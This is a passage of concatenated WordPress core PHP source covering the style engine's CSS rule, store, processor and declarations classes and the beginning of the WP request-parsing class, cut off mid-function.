	 * @param array $block_styles The style object.
	 * @param array $options      {
	 *     Optional. An array of options. Default empty array.
	 *
	 *     @type bool        $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns,
	 *                                                   e.g. `var:preset|<PRESET_TYPE>|<PRESET_SLUG>`,
	 *                                                   to `var( --wp--preset--* )` values. Default false.
	 *     @type string      $selector                   Optional. When a selector is passed,
	 *                                                   the value of `$css` in the return value will comprise
	 *                                                   a full CSS rule `$selector { ...$css_declarations }`,
	 *                                                   otherwise, the value will be a concatenated string
	 *                                                   of CSS declarations.
	 * }
	 * @return array {
	 *     @type string[] $classnames   Array of class names.
	 *     @type string[] $declarations An associative array of CSS definitions,
	 *                                  e.g. `array( "$property" => "$value", "$property" => "$value" )`.
	 * }
	 */
	public static function parse_block_styles( $block_styles, $options ) {
		$parsed_styles = array(
			'classnames'   => array(),
			'declarations' => array(),
		);
		if ( empty( $block_styles ) || ! is_array( $block_styles ) ) {
			return $parsed_styles;
		}

		// Collect CSS and classnames.
		foreach ( static::BLOCK_STYLE_DEFINITIONS_METADATA as $definition_group_key => $definition_group_style ) {
			if ( empty( $block_styles[ $definition_group_key ] ) ) {
				continue;
			}
			foreach ( $definition_group_style as $style_definition ) {
				$style_value = _wp_array_get( $block_styles, $style_definition['path'], null );

				if ( ! static::is_valid_style_value( $style_value ) ) {
					continue;
				}

				$parsed_styles['classnames']   = array_merge( $parsed_styles['classnames'], static::get_classnames( $style_value, $style_definition ) );
				$parsed_styles['declarations'] = array_merge( $parsed_styles['declarations'], static::get_css_declarations( $style_value, $style_definition, $options ) );
			}
		}

		return $parsed_styles;
	}

	/**
	 * Returns classnames, and generates classname(s) from a CSS preset property pattern,
	 * e.g. `var:preset|<PRESET_TYPE>|<PRESET_SLUG>`.
	 *
	 * @since 6.1.0
	 *
	 * @param string $style_value      A single raw style value or CSS preset property
	 *                                 from the `$block_styles` array.
	 * @param array  $style_definition A single style definition from BLOCK_STYLE_DEFINITIONS_METADATA.
	 * @return string[] An array of CSS classnames, or empty array if there are none.
	 */
	protected static function get_classnames( $style_value, $style_definition ) {
		if ( empty( $style_value ) ) {
			return array();
		}

		$classnames = array();
		if ( ! empty( $style_definition['classnames'] ) ) {
			foreach ( $style_definition['classnames'] as $classname => $property_key ) {
				if ( true === $property_key ) {
					$classnames[] = $classname;
				}

				$slug = static::get_slug_from_preset_value( $style_value, $property_key );

				if ( $slug ) {
					/*
					 * Right now we expect a classname pattern to be stored in BLOCK_STYLE_DEFINITIONS_METADATA.
					 * One day, if there are no stored schemata, we could allow custom patterns or
					 * generate classnames based on other properties
					 * such as a path or a value or a prefix passed in options.
					 */
					$classnames[] = strtr( $classname, array( '$slug' => $slug ) );
				}
			}
		}

		return $classnames;
	}

	/**
	 * Returns an array of CSS declarations based on valid block style values.
	 *
	 * @since 6.1.0
	 *
	 * @param mixed $style_value      A single raw style value from $block_styles array.
	 * @param array $style_definition A single style definition from BLOCK_STYLE_DEFINITIONS_METADATA.
	 * @param array $options          {
	 *     Optional. An array of options. Default empty array.
	 *
	 *     @type bool $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns,
	 *                                            e.g. `var:preset|<PRESET_TYPE>|<PRESET_SLUG>`,
	 *                                            to `var( --wp--preset--* )` values. Default false.
	 * }
	 * @return string[] An associative array of CSS definitions, e.g. `array( "$property" => "$value", "$property" => "$value" )`.
	 */
	protected static function get_css_declarations( $style_value, $style_definition, $options = array() ) {
		if ( isset( $style_definition['value_func'] ) && is_callable( $style_definition['value_func'] ) ) {
			return call_user_func( $style_definition['value_func'], $style_value, $style_definition, $options );
		}

		$css_declarations     = array();
		$style_property_keys  = $style_definition['property_keys'];
		$should_skip_css_vars = isset( $options['convert_vars_to_classnames'] ) && true === $options['convert_vars_to_classnames'];

		/*
		 * Build CSS var values from `var:preset|<PRESET_TYPE>|<PRESET_SLUG>` values, e.g, `var(--wp--css--rule-slug )`.
		 * Check if the value is a CSS preset and there's a corresponding css_var pattern in the style definition.
		 */
		if ( is_string( $style_value ) && str_contains( $style_value, 'var:' ) ) {
			if ( ! $should_skip_css_vars && ! empty( $style_definition['css_vars'] ) ) {
				$css_var = static::get_css_var_value( $style_value, $style_definition['css_vars'] );
				if ( static::is_valid_style_value( $css_var ) ) {
					$css_declarations[ $style_property_keys['default'] ] = $css_var;
				}
			}
			return $css_declarations;
		}

		/*
		 * Default rule builder.
		 * If the input contains an array, assume box model-like properties
		 * for styles such as margins and padding.
		 */
		if ( is_array( $style_value ) ) {
			// Bail out early if the `'individual'` property is not defined.
			if ( ! isset( $style_property_keys['individual'] ) ) {
				return $css_declarations;
			}

			foreach ( $style_value as $key => $value ) {
				if ( is_string( $value ) && str_contains( $value, 'var:' ) && ! $should_skip_css_vars && ! empty( $style_definition['css_vars'] ) ) {
					$value = static::get_css_var_value( $value, $style_definition['css_vars'] );
				}

				$individual_property = sprintf( $style_property_keys['individual'], _wp_to_kebab_case( $key ) );

				if ( $individual_property && static::is_valid_style_value( $value ) ) {
					$css_declarations[ $individual_property ] = $value;
				}
			}

			return $css_declarations;
		}

		$css_declarations[ $style_property_keys['default'] ] = $style_value;
		return $css_declarations;
	}

	/**
	 * Style value parser that returns a CSS definition array comprising style properties
	 * that have keys representing individual style properties, otherwise known as longhand CSS properties.
	 *
	 * Example:
	 *
	 *     "$style_property-$individual_feature: $value;"
	 *
	 * Which could represent the following:
	 *
	 *     "border-{top|right|bottom|left}-{color|width|style}: {value};"
	 *
	 * or:
	 *
	 *     "border-image-{outset|source|width|repeat|slice}: {value};"
	 *
	 * @since 6.1.0
	 *
	 * @param array $style_value                    A single raw style value from `$block_styles` array.
	 * @param array $individual_property_definition A single style definition from BLOCK_STYLE_DEFINITIONS_METADATA
	 *                                              representing an individual property of a CSS property,
	 *                                              e.g. 'top' in 'border-top'.
	 * @param array $options                        {
	 *     Optional. An array of options. Default empty array.
	 *
	 *     @type bool $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns,
	 *                                            e.g. `var:preset|<PRESET_TYPE>|<PRESET_SLUG>`,
	 *                                            to `var( --wp--preset--* )` values. Default false.
	 * }
	 * @return string[] An associative array of CSS definitions, e.g. `array( "$property" => "$value", "$property" => "$value" )`.
	 */
	protected static function get_individual_property_css_declarations( $style_value, $individual_property_definition, $options = array() ) {
		if ( ! is_array( $style_value ) || empty( $style_value ) || empty( $individual_property_definition['path'] ) ) {
			return array();
		}

		/*
		 * The first item in $individual_property_definition['path'] array
		 * tells us the style property, e.g. "border". We use this to get a corresponding
		 * CSS style definition such as "color" or "width" from the same group.
		 *
		 * The second item in $individual_property_definition['path'] array
		 * refers to the individual property marker, e.g. "top".
		 */
		$definition_group_key    = $individual_property_definition['path'][0];
		$individual_property_key = $individual_property_definition['path'][1];
		$should_skip_css_vars    = isset( $options['convert_vars_to_classnames'] ) && true === $options['convert_vars_to_classnames'];
		$css_declarations        = array();

		foreach ( $style_value as $css_property => $value ) {
			if ( empty( $value ) ) {
				continue;
			}

			// Build a path to the individual rules in definitions.
			$style_definition_path = array( $definition_group_key, $css_property );
			$style_definition      = _wp_array_get( static::BLOCK_STYLE_DEFINITIONS_METADATA, $style_definition_path, null );

			if ( $style_definition && isset( $style_definition['property_keys']['individual'] ) ) {
				// Set a CSS var if there is a valid preset value.
				if ( is_string( $value ) && str_contains( $value, 'var:' )
					&& ! $should_skip_css_vars && ! empty( $individual_property_definition['css_vars'] )
				) {
					$value = static::get_css_var_value( $value, $individual_property_definition['css_vars'] );
				}

				$individual_css_property = sprintf( $style_definition['property_keys']['individual'], $individual_property_key );

				$css_declarations[ $individual_css_property ] = $value;
			}
		}
		return $css_declarations;
	}

	/**
	 * Style value parser that constructs a CSS definition array comprising a single CSS property and value.
	 * If the provided value is an array containing a `url` property, the function will return a CSS definition array
	 * with a single property and value, with `url` escaped and injected into a CSS `url()` function,
	 * e.g., array( 'background-image' => "url( '...' )" ).
	 *
	 * @since 6.4.0
	 *
	 * @param array $style_value      A single raw style value from $block_styles array.
	 * @param array $style_definition A single style definition from BLOCK_STYLE_DEFINITIONS_METADATA.
	 * @return string[] An associative array of CSS definitions, e.g., array( "$property" => "$value", "$property" => "$value" ).
	 */
	protected static function get_url_or_value_css_declaration( $style_value, $style_definition ) {
		if ( empty( $style_value ) ) {
			return array();
		}

		$css_declarations = array();

		if ( isset( $style_definition['property_keys']['default'] ) ) {
			$value = null;

			if ( ! empty( $style_value['url'] ) ) {
				$value = "url('" . $style_value['url'] . "')";
			} elseif ( is_string( $style_value ) ) {
				$value = $style_value;
			}

			if ( null !== $value ) {
				$css_declarations[ $style_definition['property_keys']['default'] ] = $value;
			}
		}

		return $css_declarations;
	}

	/**
	 * Returns compiled CSS from CSS declarations.
	 *
	 * @since 6.1.0
	 *
	 * @param string[] $css_declarations An associative array of CSS definitions,
	 *                                   e.g. `array( "$property" => "$value", "$property" => "$value" )`.
	 * @param string   $css_selector     When a selector is passed, the function will return
	 *                                   a full CSS rule `$selector { ...rules }`,
	 *                                   otherwise a concatenated string of properties and values.
	 * @return string A compiled CSS string.
	 */
	public static function compile_css( $css_declarations, $css_selector ) {
		if ( empty( $css_declarations ) || ! is_array( $css_declarations ) ) {
			return '';
		}

		// Return an entire rule if there is a selector.
		if ( $css_selector ) {
			$css_rule = new WP_Style_Engine_CSS_Rule( $css_selector, $css_declarations );
			return $css_rule->get_css();
		}

		$css_declarations = new WP_Style_Engine_CSS_Declarations( $css_declarations );
		return $css_declarations->get_declarations_string();
	}

	/**
	 * Returns a compiled stylesheet from stored CSS rules.
	 *
	 * @since 6.1.0
	 *
	 * @param WP_Style_Engine_CSS_Rule[] $css_rules An array of WP_Style_Engine_CSS_Rule objects
	 *                                              from a store or otherwise.
	 * @param array                      $options   {
	 *     Optional. An array of options. Default empty array.
	 *
	 *     @type string|null $context  An identifier describing the origin of the style object,
	 *                                 e.g. 'block-supports' or 'global-styles'. Default 'block-supports'.
	 *                                 When set, the style engine will attempt to store the CSS rules.
	 *     @type bool        $optimize Whether to optimize the CSS output, e.g. combine rules.
	 *                                 Default false.
	 *     @type bool        $prettify Whether to add new lines and indents to output.
	 *                                 Defaults to whether the `SCRIPT_DEBUG` constant is defined.
	 * }
	 * @return string A compiled stylesheet from stored CSS rules.
	 */
	public static function compile_stylesheet_from_css_rules( $css_rules, $options = array() ) {
		$processor = new WP_Style_Engine_Processor();
		$processor->add_rules( $css_rules );
		return $processor->get_css( $options );
	}
}
<?php
/**
 * Style Engine: WP_Style_Engine_CSS_Rule class
 *
 * @package WordPress
 * @subpackage StyleEngine
 * @since 6.1.0
 */

/**
 * Core class used for style engine CSS rules.
 *
 * Holds, sanitizes, processes, and prints CSS declarations for the style engine.
 *
 * @since 6.1.0
 */
#[AllowDynamicProperties]
class WP_Style_Engine_CSS_Rule {

	/**
	 * The selector.
	 *
	 * @since 6.1.0
	 * @var string
	 */
	protected $selector;

	/**
	 * The selector declarations.
	 *
	 * Contains a WP_Style_Engine_CSS_Declarations object.
	 *
	 * @since 6.1.0
	 * @var WP_Style_Engine_CSS_Declarations
	 */
	protected $declarations;

	/**
	 * Constructor.
	 *
	 * @since 6.1.0
	 *
	 * @param string                                    $selector     Optional. The CSS selector. Default empty string.
	 * @param string[]|WP_Style_Engine_CSS_Declarations $declarations Optional. An associative array of CSS definitions,
	 *                                                                e.g. `array( "$property" => "$value", "$property" => "$value" )`,
	 *                                                                or a WP_Style_Engine_CSS_Declarations object.
	 *                                                                Default empty array.
	 */
	public function __construct( $selector = '', $declarations = array() ) {
		$this->set_selector( $selector );
		$this->add_declarations( $declarations );
	}

	/**
	 * Sets the selector.
	 *
	 * @since 6.1.0
	 *
	 * @param string $selector The CSS selector.
	 * @return WP_Style_Engine_CSS_Rule Returns the object to allow chaining of methods.
	 */
	public function set_selector( $selector ) {
		$this->selector = $selector;
		return $this;
	}

	/**
	 * Sets the declarations.
	 *
	 * @since 6.1.0
	 *
	 * @param string[]|WP_Style_Engine_CSS_Declarations $declarations An array of declarations (property => value pairs),
	 *                                                                or a WP_Style_Engine_CSS_Declarations object.
	 * @return WP_Style_Engine_CSS_Rule Returns the object to allow chaining of methods.
	 */
	public function add_declarations( $declarations ) {
		$is_declarations_object = ! is_array( $declarations );
		$declarations_array     = $is_declarations_object ? $declarations->get_declarations() : $declarations;

		if ( null === $this->declarations ) {
			if ( $is_declarations_object ) {
				$this->declarations = $declarations;
				return $this;
			}
			$this->declarations = new WP_Style_Engine_CSS_Declarations( $declarations_array );
		}
		$this->declarations->add_declarations( $declarations_array );

		return $this;
	}

	/**
	 * Gets the declarations object.
	 *
	 * @since 6.1.0
	 *
	 * @return WP_Style_Engine_CSS_Declarations The declarations object.
	 */
	public function get_declarations() {
		return $this->declarations;
	}

	/**
	 * Gets the full selector.
	 *
	 * @since 6.1.0
	 *
	 * @return string
	 */
	public function get_selector() {
		return $this->selector;
	}

	/**
	 * Gets the CSS.
	 *
	 * @since 6.1.0
	 *
	 * @param bool $should_prettify Optional. Whether to add spacing, new lines and indents.
	 *                              Default false.
	 * @param int  $indent_count    Optional. The number of tab indents to apply to the rule.
	 *                              Applies if `prettify` is `true`. Default 0.
	 * @return string
	 */
	public function get_css( $should_prettify = false, $indent_count = 0 ) {
		$rule_indent         = $should_prettify ? str_repeat( "\t", $indent_count ) : '';
		$declarations_indent = $should_prettify ? $indent_count + 1 : 0;
		$suffix              = $should_prettify ? "\n" : '';
		$spacer              = $should_prettify ? ' ' : '';
		$selector            = $should_prettify ? str_replace( ',', ",\n", $this->get_selector() ) : $this->get_selector();
		$css_declarations    = $this->declarations->get_declarations_string( $should_prettify, $declarations_indent );

		if ( empty( $css_declarations ) ) {
			return '';
		}

		return "{$rule_indent}{$selector}{$spacer}{{$suffix}{$css_declarations}{$suffix}{$rule_indent}}";
	}
}
<?php
/**
 * Style Engine: WP_Style_Engine_CSS_Rules_Store class
 *
 * @package WordPress
 * @subpackage StyleEngine
 * @since 6.1.0
 */

/**
 * Core class used as a store for WP_Style_Engine_CSS_Rule objects.
 *
 * Holds, sanitizes, processes, and prints CSS declarations for the style engine.
 *
 * @since 6.1.0
 */
#[AllowDynamicProperties]
class WP_Style_Engine_CSS_Rules_Store {

	/**
	 * An array of named WP_Style_Engine_CSS_Rules_Store objects.
	 *
	 * @static
	 *
	 * @since 6.1.0
	 * @var WP_Style_Engine_CSS_Rules_Store[]
	 */
	protected static $stores = array();

	/**
	 * The store name.
	 *
	 * @since 6.1.0
	 * @var string
	 */
	protected $name = '';

	/**
	 * An array of CSS Rules objects assigned to the store.
	 *
	 * @since 6.1.0
	 * @var WP_Style_Engine_CSS_Rule[]
	 */
	protected $rules = array();

	/**
	 * Gets an instance of the store.
	 *
	 * @since 6.1.0
	 *
	 * @param string $store_name The name of the store.
	 * @return WP_Style_Engine_CSS_Rules_Store|void
	 */
	public static function get_store( $store_name = 'default' ) {
		if ( ! is_string( $store_name ) || empty( $store_name ) ) {
			return;
		}
		if ( ! isset( static::$stores[ $store_name ] ) ) {
			static::$stores[ $store_name ] = new static();
			// Set the store name.
			static::$stores[ $store_name ]->set_name( $store_name );
		}
		return static::$stores[ $store_name ];
	}

	/**
	 * Gets an array of all available stores.
	 *
	 * @since 6.1.0
	 *
	 * @return WP_Style_Engine_CSS_Rules_Store[]
	 */
	public static function get_stores() {
		return static::$stores;
	}

	/**
	 * Clears all stores from static::$stores.
	 *
	 * @since 6.1.0
	 */
	public static function remove_all_stores() {
		static::$stores = array();
	}

	/**
	 * Sets the store name.
	 *
	 * @since 6.1.0
	 *
	 * @param string $name The store name.
	 */
	public function set_name( $name ) {
		$this->name = $name;
	}

	/**
	 * Gets the store name.
	 *
	 * @since 6.1.0
	 *
	 * @return string
	 */
	public function get_name() {
		return $this->name;
	}

	/**
	 * Gets an array of all rules.
	 *
	 * @since 6.1.0
	 *
	 * @return WP_Style_Engine_CSS_Rule[]
	 */
	public function get_all_rules() {
		return $this->rules;
	}

	/**
	 * Gets a WP_Style_Engine_CSS_Rule object by its selector.
	 * If the rule does not exist, it will be created.
	 *
	 * @since 6.1.0
	 *
	 * @param string $selector The CSS selector.
	 * @return WP_Style_Engine_CSS_Rule|void Returns a WP_Style_Engine_CSS_Rule object,
	 *                                       or void if the selector is empty.
	 */
	public function add_rule( $selector ) {
		$selector = trim( $selector );

		// Bail early if there is no selector.
		if ( empty( $selector ) ) {
			return;
		}

		// Create the rule if it doesn't exist.
		if ( empty( $this->rules[ $selector ] ) ) {
			$this->rules[ $selector ] = new WP_Style_Engine_CSS_Rule( $selector );
		}

		return $this->rules[ $selector ];
	}

	/**
	 * Removes a selector from the store.
	 *
	 * @since 6.1.0
	 *
	 * @param string $selector The CSS selector.
	 */
	public function remove_rule( $selector ) {
		unset( $this->rules[ $selector ] );
	}
}
<?php
/**
 * Style Engine: WP_Style_Engine_Processor class
 *
 * @package WordPress
 * @subpackage StyleEngine
 * @since 6.1.0
 */

/**
 * Core class used to compile styles from stores or collection of CSS rules.
 *
 * @since 6.1.0
 */
#[AllowDynamicProperties]
class WP_Style_Engine_Processor {

	/**
	 * A collection of Style Engine Store objects.
	 *
	 * @since 6.1.0
	 * @var WP_Style_Engine_CSS_Rules_Store[]
	 */
	protected $stores = array();

	/**
	 * The set of CSS rules that this processor will work on.
	 *
	 * @since 6.1.0
	 * @var WP_Style_Engine_CSS_Rule[]
	 */
	protected $css_rules = array();

	/**
	 * Adds a store to the processor.
	 *
	 * @since 6.1.0
	 *
	 * @param WP_Style_Engine_CSS_Rules_Store $store The store to add.
	 * @return WP_Style_Engine_Processor Returns the object to allow chaining methods.
	 */
	public function add_store( $store ) {
		if ( ! $store instanceof WP_Style_Engine_CSS_Rules_Store ) {
			_doing_it_wrong(
				__METHOD__,
				__( '$store must be an instance of WP_Style_Engine_CSS_Rules_Store' ),
				'6.1.0'
			);
			return $this;
		}

		$this->stores[ $store->get_name() ] = $store;

		return $this;
	}

	/**
	 * Adds rules to be processed.
	 *
	 * @since 6.1.0
	 *
	 * @param WP_Style_Engine_CSS_Rule|WP_Style_Engine_CSS_Rule[] $css_rules A single, or an array of,
	 *                                                                       WP_Style_Engine_CSS_Rule objects
	 *                                                                       from a store or otherwise.
	 * @return WP_Style_Engine_Processor Returns the object to allow chaining methods.
	 */
	public function add_rules( $css_rules ) {
		if ( ! is_array( $css_rules ) ) {
			$css_rules = array( $css_rules );
		}

		foreach ( $css_rules as $rule ) {
			$selector = $rule->get_selector();
			if ( isset( $this->css_rules[ $selector ] ) ) {
				$this->css_rules[ $selector ]->add_declarations( $rule->get_declarations() );
				continue;
			}
			$this->css_rules[ $rule->get_selector() ] = $rule;
		}

		return $this;
	}

	/**
	 * Gets the CSS rules as a string.
	 *
	 * @since 6.1.0
	 * @since 6.4.0 The Optimization is no longer the default.
	 *
	 * @param array $options   {
	 *     Optional. An array of options. Default empty array.
	 *
	 *     @type bool $optimize Whether to optimize the CSS output, e.g. combine rules.
	 *                          Default false.
	 *     @type bool $prettify Whether to add new lines and indents to output.
	 *                          Defaults to whether the `SCRIPT_DEBUG` constant is defined.
	 * }
	 * @return string The computed CSS.
	 */
	public function get_css( $options = array() ) {
		$defaults = array(
			'optimize' => false,
			'prettify' => defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG,
		);
		$options  = wp_parse_args( $options, $defaults );

		// If we have stores, get the rules from them.
		foreach ( $this->stores as $store ) {
			$this->add_rules( $store->get_all_rules() );
		}

		// Combine CSS selectors that have identical declarations.
		if ( true === $options['optimize'] ) {
			$this->combine_rules_selectors();
		}

		// Build the CSS.
		$css = '';
		foreach ( $this->css_rules as $rule ) {
			$css .= $rule->get_css( $options['prettify'] );
			$css .= $options['prettify'] ? "\n" : '';
		}
		return $css;
	}

	/**
	 * Combines selectors from the rules store when they have the same styles.
	 *
	 * @since 6.1.0
	 */
	private function combine_rules_selectors() {
		// Build an array of selectors along with the JSON-ified styles to make comparisons easier.
		$selectors_json = array();
		foreach ( $this->css_rules as $rule ) {
			$declarations = $rule->get_declarations()->get_declarations();
			ksort( $declarations );
			$selectors_json[ $rule->get_selector() ] = wp_json_encode( $declarations );
		}

		// Combine selectors that have the same styles.
		foreach ( $selectors_json as $selector => $json ) {
			// Get selectors that use the same styles.
			$duplicates = array_keys( $selectors_json, $json, true );
			// Skip if there are no duplicates.
			if ( 1 >= count( $duplicates ) ) {
				continue;
			}

			$declarations = $this->css_rules[ $selector ]->get_declarations();

			foreach ( $duplicates as $key ) {
				// Unset the duplicates from the $selectors_json array to avoid looping through them as well.
				unset( $selectors_json[ $key ] );
				// Remove the rules from the rules collection.
				unset( $this->css_rules[ $key ] );
			}
			// Create a new rule with the combined selectors.
			$duplicate_selectors                     = implode( ',', $duplicates );
			$this->css_rules[ $duplicate_selectors ] = new WP_Style_Engine_CSS_Rule( $duplicate_selectors, $declarations );
		}
	}
}
<?php
/**
 * Style Engine: WP_Style_Engine_CSS_Declarations class
 *
 * @package WordPress
 * @subpackage StyleEngine
 * @since 6.1.0
 */

/**
 * Core class used for style engine CSS declarations.
 *
 * Holds, sanitizes, processes, and prints CSS declarations for the style engine.
 *
 * @since 6.1.0
 */
#[AllowDynamicProperties]
class WP_Style_Engine_CSS_Declarations {

	/**
	 * An array of CSS declarations (property => value pairs).
	 *
	 * @since 6.1.0
	 *
	 * @var string[]
	 */
	protected $declarations = array();

	/**
	 * Constructor for this object.
	 *
	 * If a `$declarations` array is passed, it will be used to populate
	 * the initial `$declarations` prop of the object by calling add_declarations().
	 *
	 * @since 6.1.0
	 *
	 * @param string[] $declarations Optional. An associative array of CSS definitions,
	 *                               e.g. `array( "$property" => "$value", "$property" => "$value" )`.
	 *                               Default empty array.
	 */
	public function __construct( $declarations = array() ) {
		$this->add_declarations( $declarations );
	}

	/**
	 * Adds a single declaration.
	 *
	 * @since 6.1.0
	 *
	 * @param string $property The CSS property.
	 * @param string $value    The CSS value.
	 * @return WP_Style_Engine_CSS_Declarations Returns the object to allow chaining methods.
	 */
	public function add_declaration( $property, $value ) {
		// Sanitizes the property.
		$property = $this->sanitize_property( $property );
		// Bails early if the property is empty.
		if ( empty( $property ) ) {
			return $this;
		}

		// Trims the value. If empty, bail early.
		$value = trim( $value );
		if ( '' === $value ) {
			return $this;
		}

		// Adds the declaration property/value pair.
		$this->declarations[ $property ] = $value;

		return $this;
	}

	/**
	 * Removes a single declaration.
	 *
	 * @since 6.1.0
	 *
	 * @param string $property The CSS property.
	 * @return WP_Style_Engine_CSS_Declarations Returns the object to allow chaining methods.
	 */
	public function remove_declaration( $property ) {
		unset( $this->declarations[ $property ] );
		return $this;
	}

	/**
	 * Adds multiple declarations.
	 *
	 * @since 6.1.0
	 *
	 * @param string[] $declarations An array of declarations.
	 * @return WP_Style_Engine_CSS_Declarations Returns the object to allow chaining methods.
	 */
	public function add_declarations( $declarations ) {
		foreach ( $declarations as $property => $value ) {
			$this->add_declaration( $property, $value );
		}
		return $this;
	}

	/**
	 * Removes multiple declarations.
	 *
	 * @since 6.1.0
	 *
	 * @param string[] $properties Optional. An array of properties. Default empty array.
	 * @return WP_Style_Engine_CSS_Declarations Returns the object to allow chaining methods.
	 */
	public function remove_declarations( $properties = array() ) {
		foreach ( $properties as $property ) {
			$this->remove_declaration( $property );
		}
		return $this;
	}

	/**
	 * Gets the declarations array.
	 *
	 * @since 6.1.0
	 *
	 * @return string[] The declarations array.
	 */
	public function get_declarations() {
		return $this->declarations;
	}

	/**
	 * Filters a CSS property + value pair.
	 *
	 * @since 6.1.0
	 *
	 * @param string $property The CSS property.
	 * @param string $value    The value to be filtered.
	 * @param string $spacer   Optional. The spacer between the colon and the value.
	 *                         Default empty string.
	 * @return string The filtered declaration or an empty string.
	 */
	protected static function filter_declaration( $property, $value, $spacer = '' ) {
		$filtered_value = wp_strip_all_tags( $value, true );
		if ( '' !== $filtered_value ) {
			return safecss_filter_attr( "{$property}:{$spacer}{$filtered_value}" );
		}
		return '';
	}

	/**
	 * Filters and compiles the CSS declarations.
	 *
	 * @since 6.1.0
	 *
	 * @param bool $should_prettify Optional. Whether to add spacing, new lines and indents.
	 *                              Default false.
	 * @param int  $indent_count    Optional. The number of tab indents to apply to the rule.
	 *                              Applies if `prettify` is `true`. Default 0.
	 * @return string The CSS declarations.
	 */
	public function get_declarations_string( $should_prettify = false, $indent_count = 0 ) {
		$declarations_array  = $this->get_declarations();
		$declarations_output = '';
		$indent              = $should_prettify ? str_repeat( "\t", $indent_count ) : '';
		$suffix              = $should_prettify ? ' ' : '';
		$suffix              = $should_prettify && $indent_count > 0 ? "\n" : $suffix;
		$spacer              = $should_prettify ? ' ' : '';

		foreach ( $declarations_array as $property => $value ) {
			$filtered_declaration = static::filter_declaration( $property, $value, $spacer );
			if ( $filtered_declaration ) {
				$declarations_output .= "{$indent}{$filtered_declaration};$suffix";
			}
		}

		return rtrim( $declarations_output );
	}

	/**
	 * Sanitizes property names.
	 *
	 * @since 6.1.0
	 *
	 * @param string $property The CSS property.
	 * @return string The sanitized property name.
	 */
	protected function sanitize_property( $property ) {
		return sanitize_key( $property );
	}
}
<?php
/**
 * WordPress environment setup class.
 *
 * @package WordPress
 * @since 2.0.0
 */
#[AllowDynamicProperties]
class WP {
	/**
	 * Public query variables.
	 *
	 * Long list of public query variables.
	 *
	 * @since 2.0.0
	 * @var string[]
	 */
	public $public_query_vars = array( 'm', 'p', 'posts', 'w', 'cat', 'withcomments', 'withoutcomments', 's', 'search', 'exact', 'sentence', 'calendar', 'page', 'paged', 'more', 'tb', 'pb', 'author', 'order', 'orderby', 'year', 'monthnum', 'day', 'hour', 'minute', 'second', 'name', 'category_name', 'tag', 'feed', 'author_name', 'pagename', 'page_id', 'error', 'attachment', 'attachment_id', 'subpost', 'subpost_id', 'preview', 'robots', 'favicon', 'taxonomy', 'term', 'cpage', 'post_type', 'embed' );

	/**
	 * Private query variables.
	 *
	 * Long list of private query variables.
	 *
	 * @since 2.0.0
	 * @var string[]
	 */
	public $private_query_vars = array( 'offset', 'posts_per_page', 'posts_per_archive_page', 'showposts', 'nopaging', 'post_type', 'post_status', 'category__in', 'category__not_in', 'category__and', 'tag__in', 'tag__not_in', 'tag__and', 'tag_slug__in', 'tag_slug__and', 'tag_id', 'post_mime_type', 'perm', 'comments_per_page', 'post__in', 'post__not_in', 'post_parent', 'post_parent__in', 'post_parent__not_in', 'title', 'fields' );

	/**
	 * Extra query variables set by the user.
	 *
	 * @since 2.1.0
	 * @var array
	 */
	public $extra_query_vars = array();

	/**
	 * Query variables for setting up the WordPress Query Loop.
	 *
	 * @since 2.0.0
	 * @var array
	 */
	public $query_vars = array();

	/**
	 * String parsed to set the query variables.
	 *
	 * @since 2.0.0
	 * @var string
	 */
	public $query_string = '';

	/**
	 * The request path, e.g. 2015/05/06.
	 *
	 * @since 2.0.0
	 * @var string
	 */
	public $request = '';

	/**
	 * Rewrite rule the request matched.
	 *
	 * @since 2.0.0
	 * @var string
	 */
	public $matched_rule = '';

	/**
	 * Rewrite query the request matched.
	 *
	 * @since 2.0.0
	 * @var string
	 */
	public $matched_query = '';

	/**
	 * Whether already did the permalink.
	 *
	 * @since 2.0.0
	 * @var bool
	 */
	public $did_permalink = false;

	/**
	 * Adds a query variable to the list of public query variables.
	 *
	 * @since 2.1.0
	 *
	 * @param string $qv Query variable name.
	 */
	public function add_query_var( $qv ) {
		if ( ! in_array( $qv, $this->public_query_vars, true ) ) {
			$this->public_query_vars[] = $qv;
		}
	}

	/**
	 * Removes a query variable from a list of public query variables.
	 *
	 * @since 4.5.0
	 *
	 * @param string $name Query variable name.
	 */
	public function remove_query_var( $name ) {
		$this->public_query_vars = array_diff( $this->public_query_vars, array( $name ) );
	}

	/**
	 * Sets the value of a query variable.
	 *
	 * @since 2.3.0
	 *
	 * @param string $key   Query variable name.
	 * @param mixed  $value Query variable value.
	 */
	public function set_query_var( $key, $value ) {
		$this->query_vars[ $key ] = $value;
	}

	/**
	 * Parses the request to find the correct WordPress query.
	 *
	 * Sets up the query variables based on the request. There are also many
	 * filters and actions that can be used to further manipulate the result.
	 *
	 * @since 2.0.0
	 * @since 6.0.0 A return value was added.
	 *
	 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
	 *
	 * @param array|string $extra_query_vars Set the extra query variables.
	 * @return bool Whether the request was parsed.
	 */
	public function parse_request( $extra_query_vars = '' ) {
		global $wp_rewrite;

		/**
		 * Filters whether to parse the request.
		 *
		 * @since 3.5.0
		 *
		 * @param bool         $bool             Whether or not to parse the request. Default true.
		 * @param WP           $wp               Current WordPress environment instance.
		 * @param array|string $extra_query_vars Extra passed query variables.
		 */
		if ( ! apply_filters( 'do_parse_request', true, $this, $extra_query_vars ) ) {
			return false;
		}

		$this->query_vars     = array();
		$post_type_query_vars = array();

		if ( is_array( $extra_query_vars ) ) {
			$this->extra_query_vars = & $extra_query_vars;
		} elseif ( ! empty( $extra_query_vars ) ) {
			parse_str( $extra_query_vars, $this->extra_query_vars );
		}
		// Process PATH_INFO, REQUEST_URI, and 404 for permalinks.

		// Fetch the rewrite rules.
		$rewrite = $wp_rewrite->wp_rewrite_rules();

		if ( ! empty( $rewrite ) ) {
			// If we match a rewrite rule, this will be cleared.
			$error               = '404';
			$this->did_permalink = true;

			$pathinfo         = isset( $_SERVER['PATH_INFO'] ) ? $_SERVER['PATH_INFO'] : '';
			list( $pathinfo ) = explode( '?', $pathinfo );
			$pathinfo         = str_replace( '%', '%25', $pathinfo );

			list( $req_uri ) = explode( '?', $_SERVER['REQUEST_URI'] );
			$self            = $_SERVER['PHP_SELF'];

			$home_path       = parse_url( home_url(), PHP_URL_PATH );
			$home_path_regex = '';
			if ( is_string( $home_path ) && '' !== $home_path ) {
				$home_path       = trim( $home_path, '/' );
